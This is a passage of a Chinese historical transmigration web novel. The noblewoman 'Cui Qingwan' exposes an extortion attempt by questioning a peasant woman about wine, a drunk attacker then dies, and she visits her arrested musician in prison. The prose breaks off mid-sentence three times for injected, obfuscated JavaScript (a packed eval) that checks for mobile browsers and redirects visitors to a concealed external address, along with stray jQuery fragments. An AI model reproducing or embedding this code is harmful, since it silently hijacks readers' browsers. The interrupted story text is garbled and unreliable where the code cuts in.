大礼跪拜,云岫叩得虔诚劲儿不弱于那女人,如此一来,倒让周旁人又是一阵嘀咕。
“快起来,无心之失,何必如此惶恐?”
驳回揽责的云岫,“崔清婉”伸出纤纤玉手将其搀扶起来,眼神交汇间,她面色如初,未见波澜。
“府中谁人不知那夜狼狈,何况我还出了那样的意外,在我昏迷这些时日里你可没少操心,左不过是一些身外之物,即便丢失了也不能怪你,可别再自责了。”
眼眸微垂示意对方退下,随后“崔清婉”轻移莲步,在众人的注目下走近到伏地而跪的女人身前,柔柔下蹲。
她心下明白,云岫做事十分缜密,哪儿会出现这样大的纰漏?
尤其这柄金背玉梳精致非常,绝不是丢了还能隐瞒的小事儿,想来是云岫试图借着揽责在人前证明她的清白,这本意虽好,可她也太容易“自我牺牲”了吧?
用虚假的经历去破除捏造的谣言,不可取。
与此同时,她也不认为眼前之人就是自发地想要找崔清婉的麻烦,以平民之身去碰瓷一位权贵之人,这风险太大了不是吗?
“不论你以怎样的目的来,若你此时肯坦白,我可以既往不咎,且在事后一定保证你生命安全。”
低声细语,“崔清婉”对这体型单薄的女人还有几分期待。
“是呢!是呢!”
那女人边说着边点头,她小心翼翼地抬起眼帘朝身前人瞄了一眼,在与那期盼目光极快对视后,又像是看到什么不该看的怯弱垂下头去。
“俄知晓四娘子是个好人,必不会眼睁睁看着俄被俄老汉折磨。”
“这样,算俄求四娘子,只要四娘子把五十金给俄,你要俄说什么都行!”
“俄不想再过挨打的日子咧,到时用这五十金不仅能给俄老汉纳个顺眼的小妾,就是俄自己!俄也可以置办点买卖营生……”
“四娘子放心,俄往后一定好好过日子,这样一看,还真是两全其美哩!”
女人越说越起劲,似乎已然沉浸在自己的畅想之中,而蹲在她身前的“崔清婉”则是怒火不断积攒,最终在女人自以为办了好事的邀功笑容下猛然起身——
“什么两全其美!难道将更弱者踩在脚下便能救你出火坑吗?!”
动作过快,“崔清婉”只觉眼前瞬间发黑,她踉跄着后退半步,视线内仍是模糊,但她还是抬手止住了欲要上前搀扶她的晴眉。
她并不是个天真到以为自己能随意扭转他人心思的“拯救者”,她也明白寥寥几语实在单薄,可她还是希望她能暗示这女人认清局势,好好将话说个明白。
她已然做出她能想到的一切担保,却不想对方不仅不从,还偏用过大的声音再度强调之前的攀扯,就算她本人再怎么想息事宁人,此时此刻也是无法再忍了。
“呵。”
一声轻笑,“崔清婉”抖抖衣袖,将双手交叠置于腹前,整个人呈丁字步站立,她敛去方才面上所有的不悦,唯留浅浅笑意停于唇角。
但凡与她相伴了些时日的人看见,绝对能发现那笑容中和煦如春的暖意未及眸底,反倒漾出几分彻骨寒意。
“我在书中读过‘谣言止于智者,兴于愚者,起于谋者’,我想我鲤泮政通人和、物阜民丰,各位父老乡亲自然是耳目聪慧、明辨是非……”
“今日你既如此言之凿凿,不如我们来对上一对,想必黑白对错诸位街坊自有判断。”
“对啥咧?俄不是拿出娘子的玉梳栉,这样贵重的东西俄砸锅卖铁也造不了假,娘子也不能仗着人多,就不认账啊。”
笃定,还是笃定,这样的言辞恳切,仿佛她真的做过那些事。
“崔清婉”垂下眼帘,面上的笑容越发柔和。
其实老话说过——“那些冤枉你的人比你自己还清楚你有多冤枉”。
而事已至此,她若还不反击,那可真就成傻子了。
“嗯……我记得你说过,我是与你先约定下救人搏名声一事,当日你丈夫尚未知情,是碰巧在我救人时,他候在桥岸边正好瞧见了,可对?”
柔声细语,“崔清婉”掂量试探的语气听上去颇为不自信,如此一来似乎佐证了跪地叩首者的指认。
见状,围观路人也开始新一轮的窃窃私语。
本以为会有什么刁钻难题,但对方发问的不过是她方才哭诉过的事件由来,闻此,女人提心吊胆的紧张神情也松动了几分。
“是哩,娘子说得对着哩,要不是误打误撞让俄老汉碰见,也没有今个儿这样多的麻烦嘞。”
“噢……你也认定那是误打误撞,这我就不明白了,三月下旬正是春耕春灌的农忙时节,他怎么会有闲暇到东市里的桥岸边呢?”
再次发问还是如此单薄,估计这位四娘子尊贵惯了,只能从不理解的旁枝末节发问,没什么犀利问题,瘦削女人这样想着换了口气,作答起来也更
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943585|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加自如。
“娘子不晓得,俄老汉懒散惯咧,就算是耕田,也是做一日歇一日,所以犁地这事总是俄来,就娘子救人那日,俄老汉就是撂下活去吃酒哩,他这人总是这样,所以今日才冲撞了娘子。”
“这,好像是没什么问题……”
爱吃酒,又散漫,醉汉的形象从一而终,这倒确实挑不出错儿。
见“崔清婉”陷入语塞,女人的神色更加放松,显然她不认为这位四娘子还能找出什么突破点儿来反驳她,就在她打算再次提那五十金的事儿时,没想到对方沉默了一瞬的语调陡然升高——
“那我问你!当日他喝的是什么酒!”
“酒、酒?是……玉花酿。”
女人被突来的发问吓住,眼神不安地在地面上遛了一圈,但她想不出个所以然来,只能顺着问题补充道。
“娘子尊贵,这般浊酒想来娘子不知,这是俄们穷苦人吃嘞,娘子要是不信,可以问问跟前的父老乡亲们,他们都知道这酒,俄不是瞎扯哩。”
“是了,是有这种酒了。”
“我也喝过,味道还不差,不过我家酿的不知怎的,总比不上市集上卖的好喝。”
“欸,快别说了,富贵人家可看不上这种低贱之酒,她保不齐要讥讽上几句。”
“讥讽就讥讽,她还能说啥?她让我们评判事情真假,也没见她说出个什么子丑寅卯来,还给她在这瞧不上玉花酿咧?”
“就是,她们崔家做出那种事来,闹出这么大的难堪,她还配瞧不上?我就觉得玉花酿更好喝!”
有头有脸的人物大多因为“玉花酿”这一陌生话题而选择沉默,唯有少数平民继续发声。
只是奇怪得很,起初那几位路人只是为这酒的存在作证,不知从何人何话起,突地变成对“崔清婉”的声讨。
周旁议论声逐渐激烈,“崔清婉”咬紧牙关不去分神,她努力将注意力放在眼前人身上,紧盯着女人继续开口。
“所以,你也承认那玉花酿只是浊酒。”
瘦削女人皱起眉头,没敢抬眼,她猜不透这莫名的发问与感慨有何深意,只能硬着头皮回答:“是……怎么咧?娘子是对这酒水不满意?”
“不满意?怎会?既是流传甚广的酒水,必然有它的过人之处,我不过是有些好奇罢了。”
“好奇?”
女人不明所以地重复一遍,停顿片刻后又用细弱的声音继续道。
“娘子说得太玄乎咧,俄蠢又笨,听不懂娘子意思,不过等娘子给俄那五十金后,俄一定打几斤最好的玉花酿给娘子送过去……”
蠢笨?
听到女人的自我评价,“崔清婉”反倒被气笑了一瞬。
她看向对方的目光越发深沉,显然,比起因挨了嘴巴子而箕踞歪坐的醉汉而言,眼前这女人更懂得什么叫做以退为进、以屈为伸。
能在众目睽睽之下无中生有、泰然自若,如果这样的人还叫蠢笨,真不知聪明人得配几套玲珑心窍。
“你送我玉花酿,那我也得还些珍酒才合礼节,不如你来选选,我好从东市为你买些去。”
仍旧是莫名其妙,女人怯怯抬眼,试探说道:“那就鸭掌黄?俄老汉往日也爱喝这酒哩……”
终于引着对方将破绽说出,但“崔清婉”还是不动声色,她微垂眼帘,故作惋惜之态。
“噢,鸭掌黄,那还真是可惜。”
34.踏青·流言(下)
“‘彩云浮光金雀来,江畔闻风柳叶青;一窗昏晓赤霞缀,龙膏半沉乳盈盈’,东市酒肆向来拈精挑贵,所售酒类不过这五大类。”
以手指点叩在另一掌间,“崔清婉”开始逐字逐句地念叨起来。
“而据我所知,不论是玉花酿还是鸭掌黄,皆不从属于这五类中的任何一种。”
“金雀来、柳叶青、赤霞珠、龙膏沉、苦勒乳,难为你还编个打油诗来记,平仄韵脚完全不对。”
低沉富有磁性的评价自身后传来,顿时让“装腔作势”的人儿破了功,“崔清婉”忍着被打岔后的无语,用嗔怪的目光剜了说话人一眼。
而被甩了一记眼刀的裴如信眸光闪烁,瞬间绷紧了身子,明明还是一脸的肃杀之气,可仔细看去,却发现他嘴角勾笑,简直古怪。
不理会裴如信的神色变化,“崔清婉”回过头来继续盯视身前的女人。
“我这么说,你可明白?”
“啊?明白、明白什么?俄知晓东市里多的是娘子这样的显贵人家,那儿卖得也自然是好东西哩……”
女人瑟缩着身子将头埋得更低,她声音沉闷,隐隐透露出一股乞怜之意。
“俄当然也明白,俄没见过世面,俄只是和娘子要五十金报酬哩,俄老汉虽爱吃酒,但娘子给俄钱财就行,不用折兑成酒水给俄。”
“俄求过俄老汉,俄们说好哩,收钱后先置办买卖营生,等赚了钱,那好酒好菜他吃到下辈子也吃不完哩!”
“你当真不明白?”
女人装傻模样惹得“崔清婉”愈加恼火,她向前跨了半步,语气激烈。
“你说他那日在东市买醉,是无意间撞见我救人,可不论是玉花酿,还是鸭掌黄,皆不在东市出售,我倒要问问,他是如何醉在东市的桥边呢?”
“是他随身带着——”
女人眼珠子一转便要圆谎,只是紧接着便被打断。
“那此地是郊外!他已浑身酒气,怎么不见他有随身的囊袋壶器?!他分明是习惯坐摊饮酒!你还想扯什么谎!”
“那、那大概是俄记错咧,是俄老汉在家饮了玉花酿,后来出门去东市品了好酒——”
本想着点到为止,却不想女人还是执迷不悟,“崔清婉”失望地吐出一口闷气,而后猛地一抬手,怒指旁侧尚显迷离的醉汉。
“既然你咬死了不改口,那我问你!东市酒贵,一壶至少也要三百钱,若你家财力已够他吃昂贵酒水作为消遣,那你为何还要应我五十金的请求?”
“难道在你眼里,以命犯险只是儿戏、汝子之命不过是那醉汉的几顿酒钱!”
“如若对此你还能辩驳,那我继续问你!”
“从城东到此地,马车都需一个时辰,你夫妇二人是从何处狂奔而来,竟只比我晚了不到半柱香时间?且我今日出行不过临时起意,你们又是听得谁的议论,竟能得知我的行踪?”
“诸位乡亲都是勤勤恳恳生活的本分人,就算对崔家近日的琐碎听过几耳,也未必识得谁是谁。”
“我虽乘马车出行,但出府前特地让侍从隐去崔家标识,寻常人是不可能通过车辆便认出我的身份,可你夫妇二人笃定我是崔四娘子,还煞有其事地一唱一和,摆明是冲我而来。”
“与你合谋?被他瞧见?”
“呵,我告诉你,光天化日、朗朗乾坤,我下水救人乃是善举,且完全出自我本意,莫说那日我因畏寒穿着严密,即便是我真被河流冲散了衣物,我又有什么可羞耻的!”
“你们妄图以捏造的污言秽语让我在众人面前难堪,哼,你们真是小瞧我了!”
一字一句掷地有声,“崔清婉”这番慷慨陈词任谁听见也得冷静深思,四下私语已然停止,这些旁观者都等待着事情的下一步发展。
“我——”
方才难以插嘴,女人这下得了空档忙着就要继续争辩,可她一个“我”字刚刚出口,便将其余字句卡在喉间,她也不知此刻该怎样辩驳。
心慌意乱,女人偷偷抬眼想要观察现下情况,却不想慌乱中一个不留神,没有在第一时间瞧准“崔清婉”的位置,而是越过对方径直将视线落在了裴如信那处——
逆光之下,一尊高大的凶神罗刹喜怒莫辨,简直让人胆战心惊,女人没忍住,发出一声短促而尖锐吓怕音。
“啊!!”
惶恐中跌坐在地,木簪子再也没法禁锢住女人的枯发,几缕发丝散乱在她的鬓边,落魄至极。
看到女人这副模样,“崔清婉”冷眼凝视片刻后终是叹了口气。
“罢了,瞧你如此惊惧,也不像个能出主意讹诈我的人,不管你是遵照谁的意思前来胡闹一场,我仍要告诉你一件事——”
“在我下水救人的当晚,我三哥哥崔皓羿已然请了郎中为娃娃们诊治,甚至他还自掏腰包为娃娃们买下了所需药材。我三哥哥这般仁义妥帖,断然不可能出现你所说的‘孩子还重病在榻等钱救命’的场面。”
“如此,你好自为之吧。”
“崔清婉”说完方才的言语后便将目光从女人身上移开。
直到现在,她也说不上是痛恨对方,隔着真正崔清婉的身躯,她受到的伤害总是打下折扣的,而对这夫妇的栽赃,她只觉得失望。
欲无止也,唯心堪制。
或许是他们日子艰难,或许那女人只是受醉汉胁迫,又或是他们合谋,认准了权贵人家会拿钱摆平这事,可不论出自何种缘由,皆不能洗脱他们贪欲的罪责。
“我与这女子的辩论,乡亲们也瞧见了,想必诸位心中已有了自己的推断。郊外美景,本应是舒心怡情,却不想耽搁大家时间,让各位看了场闹剧。”
“如若各位不嫌弃,还请与我移步别处,我门下乐师自有拿手乐曲相奏,权当向诸位赔礼了。”
像微风吹开层叠的枝叶,“崔清婉”垂眸颔首间一番言语,让紧密的人群开始松动离散。
其实她的言行举止实在算得上谦卑有礼,可无奈身份在哪儿,任凭她说得有多真心,围观者只觉得这是权贵妇人的客套驱离罢了。
环视一周,见旁人三三两两地准备离开,“崔清婉”也只能无奈一笑,比起初来郊外的兴奋与放松,此刻她的眸中多了几丝说不尽的愁绪。
她也想过自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948514|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己追寻原身弃生真相时会遇到不少难题,可她是真没考虑过,那些难题竟会埋在寻常生活中的缝隙间,根本不留给她喘息的机会。
心情低落时,看青山绿水,总觉山水失了颜色;听鸟鸣虫叫,又觉耳边颇为聒噪;明明日光还是那般和煦,但她此刻只觉得晃眼。
她是很想回家窝在床上放空大脑,对社恐人来说,出门是为了接触自然,感受生机,可不是为了今日这种人性的喧嚣。
不过实际上她也只能回到崔家,身不由己,她根本没有后退的余地,何况裴如信还在此,她总得撑起笑容继续说几句客套的话。
“方才多谢裴兄仗义执言,现下是非已了,那醉汉也得了教训,我想此事就到此为止吧。另外,我已命仆人去寻一处风景优美之地,不知裴兄可还有兴致,与我续赏此间美景?”
“果然是脾性坚毅不少,若在往日,你非得噙着眼泪闷在屋里多日,直到含光想到法子哄你开心才好。”
含光?
虽是陌生词汇,但直觉告诉她,这应是崔皓羿的字。
尚未流露别样情绪,“崔清婉”就听到裴如信继续说着——“既然四娘子已有成长,还能自得其乐、继续赏景,那某也却之不恭了。”
“啊?”
没想到对方会答应,更没想到对方是这样勉为其难地答应,她很想给自己几个嘴巴子,然后撤回刚才的客套。
天呐,自讨苦吃、作茧自缚……
“崔清婉”心底流泪猫猫头,面上却带上得体微笑,而后做出请让手势:“那请裴兄这边走。”
崔、裴两家的小厮早已打点好随行马车,让开道路便引着郎君娘子向西侧走去。
暖风阵阵,杨柳曼舞,鹂雀轻歌,若不是此间还围着不少尚未散尽的人群,那两道人影并肩离去的场景倒真是和谐寻常。
“俄、俄……”
眼见对方率人要走,女人结巴两句,想再争辩几声却是无话可说,她看向四周,发现四周的看客也在看向她自己,视线中满是鄙夷神色,扎得她体无完肤。
“俄有梳栉!俄有信物咧!四娘子你别不认账啊!天爷呀!没有王法咧!俄儿子等着钱治病咧!”
女人边哭喊着边从怀中往外掏那绸缎裹着的金背玉梳,嗓音尖锐,试图挽留欲要离去的人影,凄惨模样衬得她仿佛才是那个被冤枉的人。
连滚带爬间,她挪跪到醉汉身边,拽着对方的肩膀就开始猛烈摇晃。
“哎——老汉——你醒醒——你快醒醒——咱们被人耍咧——”
眼神迷离,呼吸杂乱,那醉汉本因受了巴掌而显得恹恹,对刚才眼前发生的一切都置若罔闻,此刻女人凄厉的叫喊倒是唤回了他几分神志。
浑浊双目再度聚焦,如梦初醒的醉汉并未关怀哭嚎的自家女人,那涨红的脑袋在几番扫视后定向一处,他半张口喘着粗气,像是旧厂房里过载的反应炉。
一把推开聒噪哭泣的女人,满面红光的醉汉“噌”地站起,他踉踉跄跄就瞄准那道雪青色身影猛冲过去——
“日恁娘的!敢打老子!老子今儿个非要抓一把你腚肉约约斤秤!”
35.丛棘
换下昨日光彩照人的雪青色华服,再度着身的,是一套简朴的茶色小衫与靛蓝长裙。
她点点头,像是应答身边侍女的嘱托,随后手指在案上的匣屉间一拨弄,选了三两根素银色的发钗交到对方的手上。
侍女仍在喋喋不休,但手中的动作却很利落,未过多时,她便被绾好了高耸的云髻,紧接着,侍女便将备在一旁的嫩玉色帷帽罩在了她头上。
刚至卯时,巷道里充斥着熙攘的宁静,官员们忙着上朝,商贩们也为开市而做准备,栖凤城如同往日般,威严而平和地注视每一个步履匆匆的鲤泮人。
“吱呀”一声,奢大宅邸的朱红色侧门微微虚开,但瞧看过去,并不见什么动静,仿佛只是守门的下人一时手误,移了门闩后忘记合严实。
直到半盏茶的工夫过去,那微张的缝隙也被人遗忘,这时,才不引人注意地,从窄缝中迅速闪出两道人影。
她们借着灿烂的朝霞,以极快的速度踏上街头的青石板路,而后隐于繁忙的人群之中。
嫩玉色帷帽下的女子神色略显凝重,她紧跟在同样衣着朴素的侍女身旁,于静默中同过往的行人擦肩而过。
当碰到官员轿子与巡城卫兵时,她们会小心翼翼地颔首避让,尽量不引起旁人注意。
随着行程深入东市腹地,街道两旁的店铺也多了起来,叫卖声、议价声此起彼伏,俨然构成一幅热闹且喧嚣的市井画卷。
不为烟火气儿停留,她们还是谨慎低调地快走着,终于,在穿过最后一条狭窄的巷子后,她们来到一处死寂的宅院前。
没有其他巷道间各式各样的花草,这里的墙头只攀爬着杂乱的枯藤,明明四周有微风吹过,可在这里却撩不起半分清凉。
直冲脑门儿的是一股浓过一股的酸臭味儿,仔细听去,隐约还有鼠虫的觅食声。
明明极不合群,却又被整座皇都的人默许——繁华的市集旁竟裹挟着这样一处阴森压抑的牢狱。
她抬头扫视了一眼低斜欲倾的屋檐,用力干咽一口,强忍下喉间上翻的呕吐感,而后素手轻推虚掩着的逼仄木门,踏入那片常人恐避之不及的凶恶之地。
半个时辰……许是一个时辰?
再次打破这巷道死寂的是她轻轻推开木门的响声,就像村头早就荒废的枯井,直到孩童打闹间无意碰到那年久失修的辘轳,才会发出几声短暂而悲戚的哑音。
“崔清婉”掀开帷帽上的纱幔,紧着快走几步离开这压迫感十足的门头屋檐,直到巷首拐角处她才扶着白灰斑驳的墙面俯下头去干哕起来。
“四娘……”
云岫轻轻地拍打着她的后背,满脸的心疼。
“没事,是我不争呕——”
想要回答,却连句完整的话都说不完,她终于还是控制不住地干呕起来,涌到喉间的酸水呛得她咳嗽连连,脸色愈加苍白。
现下没有华服的包裹,她只着常衣蹲在墙角旮旯,娇瘦模样甚是狼狈,唯一值得庆幸的,大概是她忙着趁早出门而未食早膳,不然这会儿可就不是干呕几声这么简单了。
“四娘别这么说,这地方污秽,本就不该四娘来踏足,四娘也是的,有什么话说给我便是了,难道连我也信不得?非来这腌臜地方做什么!”
本意是关心,却不知怎么,说着说着便生起闷气来,云岫还想言语几句,但看看自家娘子憔悴的面色,又心疼得将语气放轻柔些。
“这回人也见过了,四娘先缓缓,一会儿我们就回府吧,裴郎君不是说了么,这事有他照应,曲乐师不会有事的。”
“是……我知道的……”
干呕几声后,身子倒也松快了些,“崔清婉”抬起手背,用关节处抹抹眼角溢出的泪雾,刚擦了几下,似乎是意识到不妥,她又从怀中抽出帕子轻拭起来。
“可是云岫,他被收押到这种去处,我于心何忍?就算不顾及知笙的难过,单就说我自己,我怎么能对他的挺身而出接受得理所应当呢?”
“四娘心善,云岫明白。”
云岫向四周看看,许是怕有人误入巷口瞧见她二人,于是她朝“崔清婉”身侧挪动半步,为其挡住晃眼日光。
“昨夜歇息时,我也细细回想,这一思索下来,实在是心惊,如若没有曲娘子与曲乐师,四娘肯定被那贼人冲撞到身上,到时候四娘再机敏能辩,怕也是堵不上悠悠众口。”
“堵不上便堵不上,明摆着条理非不信,那样的人,我干嘛要去获得他们的信任?”
想到方才跟随打点好的狱卒进牢狱时,她总能察觉到隐在暗处的几眼打量,“崔清婉”面上泛起一丝愠怒,她侧眸向那低斜的木门一瞥,深吐一口气,还是将心中的不满压下。
“我只是愧疚,冲我而来的事,却白白让她们姐弟二人受了难,我属实过意不去。”
“但眼下状况也不是四娘能出面解决的,终究是一条命案,得由京兆府经手,才能有定论。不过幸好围观者众多,还有向来刚正不阿的裴郎君提供证词,想必此案很快就能有结果。”
“嗯……”
“崔清婉”恹恹应答一声,显然是对牢狱中的人还有担忧,见状,云岫也只能继续为她顺着背以示宽慰。
其实莫说昨日之事弄得她们措手不及,即便是身经百战的裴如信,也被搞得满脸凝重,吓得后来到场的官兵不敢多问半句,只是按流程默默将曲游欢带走。
“日恁娘的!敢打老子!老子今儿个非要抓一把你腚肉约约斤秤!”
猖狂之言犹在耳边,可说这话的醉汉却已命丧黄泉。
本不愿深究,“崔清婉”抱着放他们一马的心思,以为这荒唐事就此告一段落,谁知就在她与裴如信转身离开时,那醉汉竟挣扎起来,直冲冲地向她扑去。
事发突然,又恰好仆从都在收拾随行物件儿,甚至裴如信本人都在吩咐自己下属一些事儿,一时竟没人顾得上这莽汉。
眼瞅着醉汉距离急速逼近,在一旁搀扶曲知笙的曲游欢忙不迭地松手,闪身挡在“崔清婉”身后。
春日刚尽,可天气还是干燥,一扑一拦下,俩男子双双倒地,扬起了好大的尘土。
待视野清晰,只见曲游欢单薄的身躯压在醉汉身上,他手背青筋暴起,发丝也散乱开来,唯有口中还不住喊着——
“你这厮竟敢如此胆大妄为!该死!该死!”
转眼看去,那醉汉仰面朝天,双目圆睁,原本带有痴癫的醉脸此刻已涨得紫红,他不说话,也不推动压在他身上的男人,只是痴痴地瞪看苍穹。
而见醉汉如此反常,旁人尚有疑惑,但压在醉汉身上的曲游欢显然最先回过神来——他撑将起身,颤巍地伸出手探向身下人的鼻息——果然,已没了动静。
如此突变,不远处的女人立刻凄厉喊叫,连滚带爬地扑了过来,一番呼天抢地下自然也引得未散尽的人群再度聚拢过来。
如老旧火车般发出轰轰的嘈杂声,四下民众的议论瞬间淹没了“崔清婉”,将她们一行人围堵在尸体旁边。
第一次见证死亡的场景,“崔清婉”说不清是害怕还是震惊,她只觉得脑子“嗡”地一声作响,随即而来的是浑身陡然升高的体温。
她紧紧盯看地面上黑紫的面庞,她挪不开目光,呼吸也迅速紧促起来。
四周的议论声愈加鼎沸,吵得她昏昏沉沉,在衣袖遮掩下她竭力用指甲掐住自己指腹,以疼痛感强迫她自己回过神来。
屏息凝神,她颤栗着瞧了裴如信一眼,双唇开合间,她似乎想要说“报官”二字。
虽是无声,但裴如信一早就放在她身上的视线还是极快捕捉到这份信息,他点点头,轻声回复“明白”。
大概是为了尽快驱散人群,裴如信派人召来的官兵只是驻在城墙下的守军,不管怎么说,有了官服出面,寻常百姓还是避让开了。
由守军处理醉汉尸体,同样地,还得带走跪坐在尸体旁垂首不语的曲游欢。
见失魂落魄的曲游欢要被带离,曲知笙不顾旁人搀扶,下意识就要上前阻拦,可当目光瞟向“崔清婉”后,她又本能地退下不作声。
而曲游欢本人似是惊魂未定,他满脸木然,踱着步子像副行尸走肉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955186|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“崔清婉”沉默不言,但她将要伸出的脚步显然也是想随那官兵一道离去,她不知她应该做什么,但起码她觉得她该看看这些官差如何处置曲游欢,或者说将曲游欢移交何处。
她略有失神的行为被裴如信察觉,一跨步,他拦住了她的去路。
裴如信的态度异常坚决,只说这事有他照看,她一个女人家还是少掺和这些事,不如早些回府,省得遭人算计,再生事端。
“呵,这云中郡夫人的名号果然没什么用处,竟连自己的门客也保不下来。”
回想起自己被一众随从塞回马车带回崔家的模样,“崔清婉”不由地自嘲冷笑一声。
“四娘慎言!”
云岫抬手轻掩对方薄唇,随后她再次向四周环看,眼瞅着没人,这才松了些紧张神色。
“郡夫人名号是圣人亲赐,四娘可不能有半句怨诽,何况我们崔家门风清正,向来不做以权谋私的勾当,四娘这话若被有心之人听去,不知还要歪曲出几层意思来。”
“我——”
想要辩解几句,可话到嘴边却还是放弃,她敛去面上的恼怒,缓声开口。
“云岫,你方才同我一起到牢房里,游欢的话你也听见了,你怎么想?”
“我?”
云岫向前挪了半步,与“崔清婉”凑得近了些,她眸子一垂,思索着开了口。
“其实,其实四娘不该问云岫,在云岫眼中,他们姐弟二人虽成了崔家门客,可他们始终是被四娘买回来的乐师舞伎而已。”
“云岫以为,他们和云岫一样,都是四娘的人,不管发生什么,都必须以四娘的安危为首,所以……”
“所以你认为他把一切都承担了,只为保全我的清白,是应该的?”
“是,我知四娘又在怜惜我们这些下人,可四娘无须如此,毕竟这就是我们的命。”
“况且曲乐师想要包揽一切,也是为了向四娘表忠心,他虽未明说,可他今日字字句句,都是求四娘,希望四娘日后多关照曲娘子。”
“他是怕我不信他们。”
“是曲乐师不够信四娘。”
听罢云岫的回答,“崔清婉”无奈一叹,然而思索片刻后,她却招招手,浅笑道。
“罢了,先不说这些,清早我们走得匆忙,什么都没带上,不如你现在去市集上买些吃食,一会儿我们再给他送去,反正事已至此,还是先吃饭要紧。”
“嗯……好!听四娘的!那四娘先在巷子里寻处不晃眼的地儿略微歇歇,我去去就回。”
云岫正欲转身离去,却又在瞧见“崔清婉”身上的褶皱后止了动作,她抬手为自家四娘顺平衣服上的褶皱,而后又叮嘱几句,这才转过身加快脚步向市集上赶去。
站在原地的“崔清婉”只是边笑边点头,看上去很是乖巧温顺,眼瞅着云岫走出她的视线范围,她面上的浅笑忽地褪下,只留下冷漠。
不是狠戾的冷峻,而是一种淡漠,丝丝缕缕徘徊在她眸底的,是说不清道不明的孤寂与落寞。
心中怅意惘惘,环看四周,墙面斑驳古旧,抬头眺望,只见青瓦叠盖屋檐,虽然缝隙中也有几根杂草偷生,可这周遭还是冷清得可怕。
低下头,她踢了几脚石板路上的碎石子儿,明明困乏得想要倚靠身侧的砖墙,却又怕脏了衣裳。
思前想后,她将身后的裙身缓缓捋贴,藏在膝盖后窝处弯压住,然后背对墙面缓缓蹲下身去。
这一定不合礼法,可她现在只想这样抱抱自己。
从她苏醒至今,不过半月时间,可状况百出,打得她没有还手之力,她为自己魂居他乡感到寂寞,也为崔清婉被人连环算计而感到悲凉。
抱膝半蹲,她将脑袋埋在臂弯里,头上戴着的帷帽就这样垂了下来,帘纱半透,却也帮她暂时隔绝了陌生的外界。
这一刻,她仿佛又回到她熟悉的世界,她只是趴在课桌上小憩了一会儿,只要睁眼,她就可以继续最平淡的日常。
当然,如果没人吵她的话——
“喂!这位娘子,我们这儿可不让睡觉!”
36.古楼子
有病吧!谁蹲着睡觉啊!
不对!
谁没事儿到大狱门前睡觉啊!!
被吵醒的,啊不是,被吵起身的“崔清婉”再一次因为起立过猛而眼前发黑,她赶紧反手扶住身后的墙面,好让自己站得平稳些。
“噢!不仅在外露宿,连食早膳的钱也没啦?看娘子你病病弱弱的,来来来,古楼子分你一份!”
视线中的浓黑消退了一些,但还是模糊地看不清来人,虚实间,只感觉有什么热气腾腾的东西伸到了自己面前。
嗯……好香!
谢——谢个鬼!呸!不吃!不吃嗟来之食!
“崔清婉”没有接手,她一面说着推辞的话,一面等待眼前视野彻底清明。
“嗯?不吃?那我吃!”
干脆利落地递出来,也干脆利落地收回去,只听得说话人一嘀咕,面前的热气随即便消散开来。
“咔嚓”
酥脆的啃咬声伴随着谷物与炖肉的香气扑面而来,“崔清婉”下意识地吞咽了一下口水,她眨眨眼睛,身前人的样貌也逐渐清晰。
竹柳色的鲤泮官服着身,精致银带箍住恰到好处的细腰,他因掐拿食物不得不将小臂抬起,从而露出双袖间绣着的环状花纹。
一头青丝虽已高束,但鬓角还是垂下几丝不拘小节的碎发,白皙面庞上双唇嫩红,鼻梁高挺,生得十分标致,一双明目虽是狭长,却因略微低压的眉头而显得格外深邃。
想来他刚及双十年华,可周身气度已浑然天成,纤然飘逸。
好吧,其实也没那么飘逸,谁让他啃咬食物如此专注,一点儿也没有“不食人间烟火”的出尘气韵。
“咦?怎么和府里那小子一样,没成婚的就显年轻?”
“果然……”
“崔清婉”本只是小声嘟囔一句,却不想对方听力极好,细目微眯间,男子咀嚼的动作也暂停下来。
“娘子,你这样做不好。”
“啊?”
低声吐槽被当事人听见自然让人心虚,况且对方说的还是这样一句莫名其妙的劝告,“崔清婉”下意识就怀疑对方是不是认出了自己是谁,甚至这人还推测出自己为何要站在牢狱前。
“那个,其实我只是出门晨练,可东市这边太繁华了,一不留神就闯进这条巷子里……”
人越想找补就越漏洞百出。
“崔清婉”正欲佯装捋捋头发寻个理由搪塞过去,又突然想起自己还戴着帷帽,半抬起的右手只能无措放下,放下后又觉得方才举动过于刻意,于是改为顺手撑展衣裙。
一番动作下来简直手忙脚乱,让人对这话语的真实度心照不宣。
竹衣男子静静站着,仿佛已然预想到“崔清婉”的行为,他甚至还气定神闲地继续啃食手中的夹肉胡饼。
“咔嚓”“咔嚓”
男子吃得越是专注,“崔清婉”便被对方的沉默搞得越是烦乱,她已经开始在心中祈求云岫能早些回来,不然她真不知道该如何打破这无言对峙的局面。
